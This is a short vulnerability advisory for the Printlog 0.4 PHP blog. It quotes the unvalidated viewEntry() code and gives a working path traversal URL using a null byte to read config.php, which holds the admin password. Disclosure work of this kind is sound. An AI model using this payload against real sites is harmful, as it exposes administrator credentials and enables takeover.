Printlog <= 0.4: Remote File Edition Vulnerability

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Printlog <= 0.4: Remote File Edition Vulnerability
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$ Program: Printlog
$ File affected: index.php
$ Version: 0.4
$ Download: http://www.hardkap.net/pritlog

Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

– Description (by the author's page) –
PRITLOG is an extremely simple, small and powerful blog system. It does not
use or need a MYSQL database and fully works based on flat files. The idea
is derived from a similar app called PPLOG.

– Bug –
You can navigate and see the entries. Something like as:
http://localhost/p/index.php?option=viewEntry&amp;filename=00001

Code doesn't check the comments directory:

709. function viewEntry() {
710. $fileName =
     isset($_POST['filename'])?$_POST['filename']:$_GET['filename'];
711. global $postdir, $separator, $newPostFile, $newFullPostNumber,
     $debugMode, $config_textAreaCols, $config_textAreaRows;
712. global $config_allowComments, $config_commentsSecurityCode,
     $config_CAPTCHALength, $config_randomString;
713. global $commentdir,$config_dbFilesExtension, $config_onlyNumbersOnCAPTCHA;
714. $viewFileName=$postdir.$fileName.$config_dbFilesExtension;

– Exploit –
If magic quotes are off you can do:
http://localhost/p/index.php?option=viewEntry&amp;filename=../config.php&#37;00

config.php has the admin password